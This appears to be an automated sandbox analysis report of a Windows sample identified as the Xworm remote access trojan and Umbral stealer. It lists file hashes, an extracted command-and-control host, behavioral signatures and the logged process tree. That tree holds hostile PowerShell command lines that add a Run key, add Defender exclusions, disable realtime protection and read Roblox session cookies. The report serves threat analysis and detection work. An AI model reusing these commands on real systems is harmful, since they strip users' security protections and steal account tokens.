Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240221-en -
resource tags
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submitted
25-02-2024 06:07
General
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Target
IO tootls.exe
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Size
209KB
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MD5
841d1c344cc00671b25a80e6db3b1e06
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SHA1
1952391bfc777b4cd2acc403d895dd7e198aa013
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SHA256
932efb570cd8045499675443a910394b5c6bec45511aa2c517a636bd3e385766
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SHA512
75af1637e76c307c6241a4ac26859a9260c2198d2aa83e5a6c52e0ec6bb37fac4cecf4f002f05d861356f833fc306869682e3195c0e6ba603e8ebf4b9a98f96e
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SSDEEP
6144:v5DmisKDLvohc1Y3o40bbwhpn8+jPmqSQj33zO9Y:xXLDor440y8oPmZW
Malware Config
Extracted
xworm
hai1723rat-60039.portmap.io:60039
Signatures
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Detect Umbral payload 2 IoCs
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Detect Xworm Payload 2 IoCs
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Umbral
Umbral stealer is an opensource moduler stealer written in C#.
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Xworm
Xworm is a remote access trojan written in C#.
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Drops file in Drivers directory 1 IoCs
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 2 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of SetThreadContext 1 IoCs
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Drops file in Windows directory 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
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Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs
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Suspicious use of AdjustPrivilegeToken 64 IoCs
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Suspicious use of FindShellTrayWindow 64 IoCs
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Suspicious use of SendNotifyMessage 64 IoCs
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Suspicious use of SetWindowsHookEx 1 IoCs
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Suspicious use of WriteProcessMemory 43 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\IO tootls.exe"C:\Users\Admin\AppData\Local\Temp\IO tootls.exe"1⤵
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee' -Value '"C:\Windows\.NET\netloader.exe"' -PropertyType 'String'2⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\IO tootls.exe#cmd2⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\systemload.exe"C:\Users\Admin\AppData\Local\Temp\systemload.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\systemload.exe'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'systemload.exe'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\controllloader.exe"C:\Users\Admin\AppData\Local\Temp\controllloader.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\controllloader.exe'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 24⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption4⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory4⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER4⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name4⤵
- Detects videocard installed
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\start.cmd" "3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
321B
MD5baf5d1398fdb79e947b60fe51e45397f
SHA149e7b8389f47b93509d621b8030b75e96bb577af
SHA25610c8c7b5fa58f8c6b69f44e92a4e2af111b59fcf4f21a07e04b19e14876ccdf8
SHA512b2c9ef5581d5eae7c17ae260fe9f52344ed737fa851cb44d1cea58a32359d0ac5d0ca3099c970209bd30a0d4af6e504101f21b7054cf5eca91c0831cf12fb413
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Filesize
2KB
MD59faf6f9cd1992cdebfd8e34b48ea9330
SHA1ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e
SHA2560c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953
SHA51205b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
948B
MD52af06a6b36db9473e4a7d9c7ab72b70b
SHA18ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645
SHA25618a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158
SHA5123495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf
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Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
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Filesize
18KB
MD589ae990c5ba07337fa72f5c5808c7af6
SHA1dd998275fe2ae72a5c90e2ff8d8c47dbab3b5f1a
SHA256fe385a7e98c0aef4545abfbe0cb595bccd42875adc076e94de6be177bd149829
SHA512d838774cbb5157ef99c040281811268593fa26892cf73f871ceb0544466e0f3646a6755ee670e48156aaaf16916b6486debcc3ed730ce4f0034997a60cbb3bcd
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Filesize
1KB
MD53c62d05bb8d8ab1338fae83706b0faf0
SHA1cc354d389150dd3801183995a1ae66976d8a66e4
SHA2565785d1b0743c2717327a426268f924f681badbd624146834a6ce81ad95c342b4
SHA512f17bb3b734cb828eceef2e6e90ab6c0096a03d2b9c129b1a216ff1f179768a41fa528df9f97d75759b978a5bd539823f7a65bb8efb20e92415d696cb8f9bc489
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
286KB
MD5e41a0fa0c1e39af92d22090d4df61a1f
SHA1c971a4089b1ab116c34b5ab0dc54d9977f86e834
SHA256c0966533c2bc8c8b9ee176d774eae0ca1c4d6fe6e8efe5d87d4cac8c04b84372
SHA512d42798fa9115f3c3775798a26ef7c28e4f173bdc2b74884b01a4e7905b17a2da09508766a626652eec3622a15a891b6859f4e9a422eb052a59b3fd3eafe1a7fd
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Filesize
93B
MD5f960abd9684a879e8eca03b8c864ea96
SHA1fb4b9a9b40af84ae46b70bb40ac3e1f45e4b4ad3
SHA2567389178da21f4e2d4ef73ab199b7beeb97247a6c1afec3f3c48a7f561cbfaf90
SHA5122c6267ab25c364c5b13059ed593bb47dfae586ae7b1411634efa3f45aaf07b4d8f491fe93bfd34482a1250c955f1e8c27e1afa0460672a5e9584ebe007ab2054
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Filesize
130KB
MD5352a162df9ca5605e1a1910c7a24cb7c
SHA14b4ed1c740a03c15eb47d875b65c76941debcaf7
SHA25687e9d9a7a197a0cd483f8e73f307af53a7518cabc001257c8235743181b9a7b8
SHA5120c2bae3f66748cc3448eaf60c5079ae3afba6d585e19e54857f7c152a1bd69c3b8e3df7feb413f3eb2df0f2bc01b44be5bcdefd5427af154a221f2b808a2399d
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Filesize
64KB
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Filesize
5.6MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
232KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
10.8MB
-
Filesize
152KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
472KB
-
Filesize
312KB
-
Filesize
320KB
-
Filesize
120KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
68KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
224KB
-
Filesize
624KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
104KB
-
Filesize
652KB
-
Filesize
7.7MB
-
Filesize
40KB
-
Filesize
600KB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
200KB
-
Filesize
80KB
-
Filesize
6.5MB
-
Filesize
304KB
-
Filesize
120KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
136KB
-
Filesize
216KB
-
Filesize
6.2MB
-
Filesize
64KB
-
Filesize
104KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
32KB